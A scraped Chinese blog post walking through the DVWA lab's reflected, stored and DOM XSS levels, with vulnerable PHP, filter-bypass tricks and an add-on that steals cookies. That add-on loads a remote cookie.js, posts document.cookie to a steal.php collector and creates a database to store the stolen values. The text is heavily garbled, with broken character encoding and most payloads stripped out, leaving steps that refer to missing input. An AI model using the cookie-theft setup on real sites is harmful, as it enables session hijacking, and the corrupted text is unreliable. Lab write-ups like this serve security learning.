摘要:且通過(guò)語(yǔ)句插入到數(shù)據(jù)庫(kù)中。所以存在存儲(chǔ)型漏洞操作步驟由于和輸入框均存在。如果有,則利用函數(shù)重新發(fā)起請(qǐng)求,將值改為操作步驟輸入,發(fā)現(xiàn)值改為使用大小寫,雙寫繞過(guò)發(fā)現(xiàn)也不行,初步判斷應(yīng)該是把標(biāo)簽過(guò)濾掉了。
作為興趣,一直想把自己所知道基礎(chǔ)入門的知識(shí)總結(jié)一下。在總結(jié)的過(guò)程中也是一個(gè)不斷學(xué)習(xí)地過(guò)程,慢慢學(xué)吧
XSS-跨站腳本攻擊,在某種意義上也是一種注入型攻擊XSS(Reflected) Low 代碼分析
XSS不僅僅限于JavaScript,還包括flash等其它腳本語(yǔ)言
根據(jù)惡意代碼是否存儲(chǔ)在服務(wù)器中,XSS可以分為存儲(chǔ)型的XSS(Stored)與反射型的XSS(Reflected)
DOM型的XSS由于其特殊性,是一種基于DOM樹的XSS,被分為第三種
Hello " . $_GET[ "name" ] . ""; } ?> #array_key_exists()函數(shù)檢查數(shù)組里是否有指定的鍵名或索引。有返回true,沒(méi)有返回false
可以看到,代碼直接引用了name參數(shù),并沒(méi)有任何的過(guò)濾與檢查,存在明顯的XSS漏洞
操作步驟輸入
可以看到成功出現(xiàn)彈窗
F12進(jìn)入開(kāi)發(fā)者模式可以看到瀏覽器成功將我們的輸入作為HTML元素解釋運(yùn)行
", "", $_GET[ "name" ] ); // Feedback for end user echo "Hello ${name}"; } ?>
Medium級(jí)別的代碼相對(duì)于Low級(jí)別的代碼使用str_replace函數(shù)將輸入中的刪除
操作步驟只刪除標(biāo)簽的情況是很容易繞過(guò)的:
1.使用雙寫繞過(guò),輸入
2.使用大小寫繞過(guò),輸入
3.輸入其他標(biāo)簽,如
可以看到結(jié)果:
獲取到了當(dāng)前用戶的cookie,這結(jié)合csrf(跨站請(qǐng)求偽造)攻擊危害是很大的
Hello ${name}"; } ?>
可以看到High級(jí)別的代碼使用了preg_replace函數(shù)執(zhí)行一個(gè)正則表達(dá)式的搜索和替換
其中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i是正則表達(dá)式(.*)表示貪婪匹配,/i表示不區(qū)分大小寫
所以在High級(jí)別的代碼中,所有關(guān)于標(biāo)簽均被過(guò)濾刪除了
雖然標(biāo)簽不管用了,但是可以使用其他標(biāo)簽繞過(guò)
輸入同樣得到Medium級(jí)別的結(jié)果
Hello ${name}"; } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到Impossible級(jí)別的代碼使用htmlspecialchars函數(shù)把預(yù)定義的字符&、"、"、<、>轉(zhuǎn)換為 HTML 實(shí)體,防止瀏覽器將其作為HTML元素。還加入了Anti-CSRF token,防止結(jié)合csrf攻擊
分析總結(jié)雖然利用了htmlspecialchars()函數(shù)將用戶的輸入進(jìn)行過(guò)濾,但是在特定情況下需要用戶輸入一些被過(guò)濾,會(huì)丟失原始數(shù)據(jù)。且htmlspecialchars本質(zhì)也是黑名單過(guò)濾,沒(méi)有絕對(duì)安全
XSS(Stored) Low 代碼分析" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "" ); //mysql_close(); } ?>
函數(shù)介紹:
isset()函數(shù)在php中用來(lái)檢測(cè)變量是否設(shè)置,該函數(shù)返回的是布爾類型的值,即true/false
trim()函數(shù)作用為移除字符串兩側(cè)空白字符或其他預(yù)定義字符
stripslashes()函數(shù)用于刪除字符串中的反斜杠
mysqli_real_escape_string()函數(shù)會(huì)對(duì)字符串中的特殊符號(hào)(x00,
,
,,",",x1a)進(jìn)行轉(zhuǎn)義
在代碼中對(duì)message,name輸入框內(nèi)容沒(méi)有進(jìn)行XSS方面的過(guò)濾和檢查。且通過(guò)query語(yǔ)句插入到數(shù)據(jù)庫(kù)中。所以存在存儲(chǔ)型XSS漏洞
由于name和message輸入框均存在xss。但name輸入框有字符限制,這里可以使用burpsuite抓包修改name輸入框內(nèi)容:
點(diǎn)擊Forward得到結(jié)果
F12打開(kāi)開(kāi)發(fā)者模式可以看到輸入內(nèi)容被前端html代碼解析運(yùn)行:
由于提交的結(jié)果存儲(chǔ)在數(shù)據(jù)庫(kù)中,所以每次刷新頁(yè)面,輸入的惡意代碼就會(huì)被執(zhí)行一次
Medium 代碼分析", "", $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( "$message", "$name" );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( "" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "" ); //mysql_close(); } ?>
strip_tags()函數(shù)剝?nèi)プ址械?HTML、XML 以及 PHP 的標(biāo)簽,但允許使用標(biāo)簽。
addslashes()函數(shù)返回在預(yù)定義字符(單引號(hào)、雙引號(hào)、反斜杠、NULL)之前添加反斜杠的字符串。
htmlspecialchars()函數(shù)把預(yù)定義的字符&、"、"、<、>轉(zhuǎn)換為 HTML 實(shí)體,防止瀏覽器將其作為HTML元素
一頓操作對(duì)message輸入內(nèi)容進(jìn)行檢測(cè)過(guò)濾,因此無(wú)法再通過(guò)message參數(shù)注入XSS代碼
但是對(duì)于name參數(shù),只是簡(jiǎn)單過(guò)濾了
2.使用大小寫繞過(guò),輸入
3.輸入其他標(biāo)簽,如
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "" ); //mysql_close(); } ?>
和反射型XSS-High級(jí)別代碼功能一致。對(duì)name輸入內(nèi)容利用正則匹配刪除所有關(guān)于標(biāo)簽
操作步驟使用其他標(biāo)簽:
Impossible 代碼分析prepare( "INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );" ); $data->bindParam( ":message", $message, PDO::PARAM_STR ); $data->bindParam( ":name", $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
在Impossible代碼中同樣對(duì)name內(nèi)容使用htmlspecialchars()函數(shù),還加入了Anti-CSRF token,防止結(jié)合csrf攻擊
但是如果htmlspecialchars函數(shù)使用不當(dāng),攻擊者就可以通過(guò)編碼的方式繞過(guò)函數(shù)進(jìn)行XSS注入,尤其是DOM型的XSS自我總結(jié)
我們可以看到,在Reflected和Stored類型的XSS中每個(gè)級(jí)別的差異只是過(guò)濾黑名單的完善程度不一樣。由此,在文末總結(jié)一個(gè)按照級(jí)別分類的XSS輸入的payloads
擴(kuò)展-利用XSS獲取用戶cookie構(gòu)造csrf攻擊其實(shí),在上述例子的XSS危害只是彈窗,并不能實(shí)際獲取到cookie,下面演示怎樣遠(yuǎn)程獲取用戶cookie:
原理:由于script標(biāo)簽可以加載遠(yuǎn)程服務(wù)器的javascript代碼并且執(zhí)行,所以在遠(yuǎn)程服務(wù)器編寫一個(gè)cookie.js
document.write(""); document.exploit.submit();
這段js代碼的作用是在頁(yè)面中構(gòu)造一個(gè)隱藏表單和一個(gè)隱藏域,內(nèi)容為當(dāng)前的cookie,并且以post方式發(fā)送到同目錄下的steal.php:
"; } mysql_close(); } ?>
steal.php會(huì)將我們獲取到的cookie存到數(shù)據(jù)庫(kù)中,搞事之前先創(chuàng)建數(shù)據(jù)庫(kù)和相應(yīng)的表(字段):
create database dvwacookie;#創(chuàng)建數(shù)據(jù)庫(kù) use dvwacookie;#進(jìn)入dvwacookie數(shù)據(jù)庫(kù) create table low(id int not null auto_increment primary key,cookie varchar(100) not null); #創(chuàng)建一個(gè)low表,字段id-int類型,主鍵,值自動(dòng)增長(zhǎng)、字段cookie
接下來(lái)在XSS漏洞位置插入:
就可以獲取用戶cookie。參考鏈接在此,與本作者無(wú)關(guān)
XSS(DOM)對(duì)于DOM型的XSS是一種基于DOM樹的一種代碼注入攻擊方式,可以是反射型的,也可以是存儲(chǔ)型的
最大的特點(diǎn)就是不與后臺(tái)服務(wù)器交互,只是通過(guò)瀏覽器的DOM樹解析產(chǎn)生
介紹下DOM:
HTML DOM 是關(guān)于如何獲取、修改、添加或刪除 HTML 元素的標(biāo)準(zhǔn)
簡(jiǎn)單來(lái)說(shuō)DOM主要研究的是節(jié)點(diǎn),所有節(jié)點(diǎn)可通過(guò)javascript訪問(wèn)(增,刪,改,查)
可能觸發(fā)DOM型XSS屬性:本實(shí)驗(yàn)中主要用到的就是document.write屬性
document.write屬性 document.referer屬性 innerHTML屬性 windows.name屬性 location屬性Low 代碼分析
可以,很直接
操作步驟1.正常輸入English和French,F(xiàn)12打開(kāi)開(kāi)發(fā)者模式可以看見(jiàn)
現(xiàn)在來(lái)分析一下
F12審查元素:
可以看到和之前正常輸入相比較,第一個(gè)option標(biāo)簽,就是被解釋運(yùn)行
Medium 代碼分析Medium級(jí)別的代碼先是檢查判斷default參數(shù)是否為空,不為空則賦值。然后使用stripos()函數(shù)判斷default值中是否含有,發(fā)現(xiàn)default值改為"English"
2.使用大小寫,雙寫繞過(guò):、
發(fā)現(xiàn)和正常選擇"English"一樣
3.使用其他標(biāo)簽試試:link
PT src="127.0.0.1/cookie.js">
更新中。。。
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://m.specialneedsforspecialkids.com/yun/31738.html
摘要:且通過(guò)語(yǔ)句插入到數(shù)據(jù)庫(kù)中。所以存在存儲(chǔ)型漏洞操作步驟由于和輸入框均存在。如果有,則利用函數(shù)重新發(fā)起請(qǐng)求,將值改為操作步驟輸入,發(fā)現(xiàn)值改為使用大小寫,雙寫繞過(guò)發(fā)現(xiàn)也不行,初步判斷應(yīng)該是把標(biāo)簽過(guò)濾掉了。 作為興趣,一直想把自己所知道基礎(chǔ)入門的知識(shí)總結(jié)一下。在總結(jié)的過(guò)程中也是一個(gè)不斷學(xué)習(xí)地過(guò)程,慢慢學(xué)吧 showImg(https://segmentfault.com/img/bVbt4Cy...
摘要:跨域腳本攻擊攻擊是最常見(jiàn)的攻擊,其重點(diǎn)是跨域和客戶端執(zhí)行。后端接收請(qǐng)求時(shí),驗(yàn)證請(qǐng)求是否為攻擊請(qǐng)求,攻擊則屏蔽。開(kāi)發(fā)安全措施首要是服務(wù)端要進(jìn)行過(guò)濾,因?yàn)榍岸说男r?yàn)可以被繞過(guò)。這種直接存在于頁(yè)面,無(wú)須經(jīng)過(guò)服務(wù)器返回就是基于本地的攻擊。 XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見(jiàn)的Web攻擊,其重點(diǎn)是跨域和客戶端執(zhí)行。有人將XSS攻擊分為三種,分別是: Re...
摘要:前言對(duì)于一個(gè)影子殺手而言,總能殺人于無(wú)形。前端也有影子殺手,它總是防不勝防地危害著你的網(wǎng)站本篇打算介紹一些前端的影子殺手們和。影子殺手們,由來(lái)已久,幾乎伴隨著整個(gè)互聯(lián)網(wǎng)的發(fā)展。 前言 對(duì)于一個(gè)影子殺手而言,總能殺人于無(wú)形。前端也有影子殺手,它總是防不勝防地危害著你的網(wǎng)站 本篇打算介紹一些前端的影子殺手們——XSS和CSRF。或許,你對(duì)它恨之入骨;又或者,你運(yùn)用的得心應(yīng)手。恨之入骨,可能...
閱讀 3159·2021-09-30 09:47
閱讀 2015·2021-09-22 16:04
閱讀 2284·2021-09-22 15:44
閱讀 2542·2021-08-25 09:38
閱讀 544·2019-08-26 13:23
閱讀 1230·2019-08-26 12:20
閱讀 2815·2019-08-26 11:59
閱讀 1084·2019-08-23 18:40